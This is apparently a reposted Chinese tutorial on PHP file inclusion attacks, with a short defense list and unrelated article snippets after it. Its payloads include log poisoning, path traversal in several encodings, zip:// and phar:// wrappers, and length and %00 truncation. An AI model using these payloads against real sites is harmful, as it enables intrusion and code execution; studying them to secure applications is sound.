文件包含漏洞的应用与绕过技巧、防御方法

目录

包含日志文件

包含session

绕过技巧

指定前缀绕过

一、目录遍历

二、编码绕过

指定后缀绕过

一、利用URL

二、利用协议

三、长度截断

四、%00截断

文件包含漏洞防御


上一篇文章和大家介绍了一下文件包含漏洞和PHP伪协议的基本知识和利用PHP伪协议进行文件包含漏洞的利用场景,在本篇我会通过学习+练习的方式和大家一起学习文件包含具体的应用,和绕过一些限制来进行文件包含,那么下面就开始ヾ(◍°∇°◍)ノ゙

注:这里的案例都是别的大佬总结好的,我只是在本篇中进行学习+练习

包含日志文件

利用条件:

  • 对日志文件可读(有权限)

  • 知道日志文件存储目录(有物理路径)

加入目标主机的ip地址为192.168.159.200并且开启了nginx服务器:

包含日志文件的原理就是需要给日志文件中写入一些恶意的php代码,然后通过包含的方式以php的方式对日志文件进行解析

那么我们在访问网站的时候,顺便加上一段php代码:

http://192.168.159.200/deno.php?%3Cphp%20phpinfo();?%3E

然后查看日志就会发现已经将该操作完整的记录到了日志中:

下面就可以进行包含了,但是这里有一个很重要的前提就是我们需要知道日志文件的物理路径,这里我们是上帝视角,我们可以知道物理路径,现在进行包含一下nginx.conf查看一下nginx日志的路径:

 知道路径后,然后尝试进行包含,但是却没有进行解析:

这里是因为使用GET方式传入的有些php字符被编码了,因此这里使用Burpsuite抓包后传入:

这里通常对日志文件是只有读权限,这里因为我给它授权了执行权限才可以执行成功的

sudo chmod o+rx /var/log/nginx/*

可以看懂这里成功通过包含日志实现php代码执行了

注:这里既然nginx的日志可以利用文件包含来解析php代码,那么其他的日志同样可以使用这种方法利用日志来进行文件包含,比如:ssh日志(auth.log),Apache日志等等

包含session

利用条件:

  • 找到Session内的可控变量

  • Session文件可读写,并且知道存储路径

注:php:的session文件的保存路径可以在phpinfo的session.save_path看到。

注:除此之外,还可以包含:/PROC/SELF/ENVIRON、临时文件、上传文件、等等

绕过技巧

指定前缀绕过

一、目录遍历

使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php 测试代码如下:

<?php error_reporting(0); $file = $_GET["file"]; //前缀 include "/var/www/html/".$file; 
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

 include.php?file=../../log/flag.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。

二、编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

1.利用url编码

  • ../

    • %2e%2e%2f

    • ..%2f

    • %2e%2e/

  • ..\

    • %2e%2e%5c

    • ..%5c

    • %2e%2e\

2.二次编码

  • ../

    • %252e%252e%252f

  • ..\

    • %252e%252e%255c

3.容器/服务器的编码方式

  • ../

    • ..%c0%a

    • %c0%ae%c0%ae/

      注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点) Apache Tomcat Directory Traversal
  • ..\

    • ..%c1%9c

指定后缀绕过

后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt"; 
<span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

一、利用URL

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。 可参考此文章:URI’s fragment

完整url格式:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

query(?)

  • [访问参数] ?file=http://localhost:8081/phpinfo.php?

  • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt

Example:(设在根目录下有flag2.txt文件) fragment(#)

  • [访问参数] ?file=http://localhost:8081/phpinfo.php%23

  • [拼接后]  ?file=http://localhost:8081/phpinfo.php#.txt

Example:(设在根目录下有flag2.txt文件)

二、利用协议

利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

zip://

  • [访问参数] ?file=zip://D:\zip.jpg%23phpinfo

  • [拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt

phar://

  • [访问参数] ?file=phar://zip.zip/phpinfo

  • [拼接后]  ?file=phar://zip.zip/phpinfo.txt

Example: (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>)) 所以分别构造payload为:

?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo ?file=phar://../../php.zip/phpinfo

三、长度截断

利用条件:

  • php版本 < php 5.2.8

原理:

  • Windows下目录最大长度为256字节,超出的部分会被丢弃

  • Linux下目录最大长度为4096字节,超出的部分会被丢弃。

利用方法:

  • 只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

      ?file=./././。。。省略。。。././shell.php

则指定的后缀.txt会在达到最大值后会被直接丢弃掉

四、%00截断

利用条件:

  • magic_quotes_gpc = Off

  • php版本 < php 5.3.4

利用方法:

  • 直接在文件名的最后加上%00来截断指定的后缀名

      ?file=shell.php%00

注:现在用到%00阶段的情况已经不多了

文件包含漏洞防御

  • allow_url_include和allow_url_fopen最小权限化

  • 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)

  • 白名单限制包含文件,或者严格过滤 . / 

  • 包含动态的文件名,不要动态的包含文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/677913.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java 内存区域介绍

&#xff08;1&#xff09;程序计数器 程序计数器主要有两个作用&#xff1a; 字节码解释器通过改变程序计数器来依次读取指令&#xff0c;从而实现代码的流程控制&#xff0c;如&#xff1a;顺序执行、选择、循环、异常处理。 在多线程的情况下&#xff0c;程序计数器用于记录…

VMware15 安装 Centos7后打开虚拟机,出现蓝屏问题处理

最方便的办法就是把虚拟机升级到最新版本--&#xff08;即vm版本问题&#xff09;

人类智能远远超越了物理与数理范畴

德国哲学家黑格尔曾这样写道&#xff0c;我们越是熟悉的东西&#xff0c;就越不清楚它。这或许意味着当我们对某个事物非常熟悉时&#xff0c;可能会陷入一种思维定势&#xff0c;导致我们无法客观地认识和理解它。这种思维定势可能来自于习惯、传统观念或者个人经验&#xff0…

牛客网 --- 送分题

题目描述 数据结构之神ccz又在出毒瘤数据结构了 神出了这样一个题&#xff1a; 给你三个数&#xff0c;在这三个数中间任意加*或者是&#xff0c;然后可以随便打括号&#xff0c;只要这个表达式合法 比如说1 2 3可以得到&#xff1a; 12*371*(23)51*2*36(12)*39 不能改变这三个…

计算机视觉主要知识点

计算机视觉是指利用计算机和算法来解析和理解图片和视频中的内容。这是一个跨学科领域&#xff0c;融合了计算机科学、图像处理、机器学习和模式识别等多方面的技术。以下是一些计算机视觉入门的基本知识点&#xff1a; 图像基础&#xff1a; 像素&#xff1a;图片的最基本组成…

《剑指 Offer》专项突破版 - 面试题 38、39 和 40 : 通过三道面试题详解单调栈(C++ 实现)

目录 面试题 38 : 每日温度 面试题 39 : 直方图最大矩形面积 方法一、暴力求解 方法二、递归求解 方法三、单调栈法 面试题 40 : 矩阵中的最大矩形 面试题 38 : 每日温度 题目&#xff1a; 输入一个数组&#xff0c;它的每个数字是某天的温度。请计算每天需要等几天才会…

力扣[面试题 01.02. 判定是否互为字符重排(哈希表,位图)

Problem: 面试题 01.02. 判定是否互为字符重排 文章目录 题目描述思路复杂度Code 题目描述 思路 思路1&#xff1a;哈希表 1.若两个字符串长度不相等&#xff0c;则一定不符合题意&#xff1b; 2.创建一个map集合&#xff0c;先将字符串s1中的每一个字符与其对应的数量存入集合…

【书生·浦语大模型实战营】学习笔记1

大模型成为发展通用人工智能的重要途经 专用模型&#xff1a;针对特定任务&#xff0c;一个模型解决一个问题 通用大模型&#xff1a;一个模型应对多种任务、多种模态 书生浦语大模型系列 上海人工智能实验室 轻量级、中量级、重量级 7B 和 123B的轻量级和中量级大模型都是开源…

Python爬虫——请求库安装

目录 1.打开Anaconda Prompt 创建环境2.安装resuests3.验证是否安装成功4.安装Selenium5.安装ChromeDriver5.1获取chrom的版本5.1.1点击浏览器右上三个点5.1.2点击设置5.1.3下拉菜单&#xff0c;点击最后关于Chrome&#xff0c;获得其版本 5.2 打开网址 [chromedriver](https:/…

VUE学习——事件参数

接前一节&#xff0c;事件绑定之后&#xff0c;我们需要传递参数。 <template><div click"getNameHandler(item,$event)" v-for"item in items">{{ item }}</div> </template> <script>export default{data(){return{items…

树与二叉树---数据结构

树作为一种逻辑结构&#xff0c;同时也是一种分层结构&#xff0c;具有以下两个特点&#xff1a; 1&#xff09;树的根结点没有前驱&#xff0c;除根结点外的所有结点有 且只有一个前驱。 2&#xff09;树中所有结点可以有零个或多个后继。 树结点数据结构 满二叉树和完全二…

GPIO结构

GPIO简介 GPIO(General Purpose Input Output)通用输入输出口 可配置为8种输入输出模式 引脚电平&#xff1a;0V~3.3V,部分引脚可容忍5V 输出模式下可控制端口输出高低电平,用以驱动LED、控制蜂鸣器、模拟通信协议输出时序等 输入模式下可读取端口的高低电平或电压&#x…

Python学习之路-Tornado基础:安全应用

Python学习之路-Tornado基础:安全应用 Cookie 对于RequestHandler&#xff0c;除了在初始Tornado中讲到的之外&#xff0c;还提供了操作cookie的方法。 设置 set_cookie(name, value, domainNone, expiresNone, path‘/’, expires_daysNone) 参数说明&#xff1a; 参数名…

推荐系统|物品冷启动01_优化目标评价(包括基尼系数)

文章目录 物品冷启动冷启动的类型“新”按常规推送链路的角度按产品生态角度 物品冷启动的目标和评价指标作者侧用户侧 冷启动的衡量 物品冷启动 冷启动的类型 冷启动的内容种类包括很多方面&#xff0c;本文只介绍UGC的冷启动。 所谓UGC&#xff0c;就是User Generate Conte…

Flink cdc debug调试动态变更表结构

文章目录 前言调试流程1. 拉取代码本地打包2. 配置启动参数3. 日志配置4. 启动验证5. 断点验证 问题1. Cannot find factory with identifier "mysql" in the classpath.2.JsonFactory异常3. NoSuchMethodError异常其他 结尾 前言 接着上一篇Flink cdc3.0动态变更表…

tkinter-TinUI-xml实战(10)展示画廊

tkinter-TinUI-xml实战&#xff08;10&#xff09;展示画廊 引言声明文件结构核心代码主界面统一展示控件控件展示界面单一展示已有展示多类展示 最终效果在这里插入图片描述 ![](https://img-blog.csdnimg.cn/direct/286fcaa2fa5648a992a0ac79b4efad82.png) ………… 结语 引言…

【华为云】容灾方案两地三中心实践理论

应用上云之后&#xff0c;如何进行数据可靠性以及业务连续性的保障是非常关键的&#xff0c;通过华为云云上两地三中心方案了解相关方案认证地址&#xff1a;https://connect.huaweicloud.com/courses/learn/course-v1:HuaweiXCBUCNXI057Self-paced/about当前内容为灾备常见理论…

C++:理解拷贝在变量,指针,引用以及构造函数里的意义

变量&#xff0c;指针&#xff0c;引用 //拷贝与拷贝构造函数 //拷贝&#xff08;copy&#xff09;&#xff1a;拷贝数据&#xff0c;拷贝内存 //始终是在拷贝值&#xff0c;但是指针存储的是内存的地址&#xff0c;变量存储的是数据的值 //特别注意&#xff0c;在引用里面的拷…

[AIGC] Spring Gateway:一个简单 yet powerful API 网关

Spring Gateway&#xff08;Spring Cloud Gateway&#xff09;是 Spring 基金会下的一个开源项目&#xff0c;它是一个基于 Spring 5、Project Reactor、Spring Boot 2 和 Spring WebFlux 的简单 yet powerful API 网关。Spring Gateway 可以用来管理 and 控制 API 的生命周期 …

lightGBM集成学习算法

LightGBM集成学习算法是一种基于梯度提升决策树&#xff08;Gradient Boosting Decision Tree&#xff09;的机器学习算法。它是由微软提出的一种高效的梯度提升框架&#xff0c;主要用于解决分类和回归问题。 在集成学习中&#xff0c;LightGBM使用多个决策树来构建一个更强大…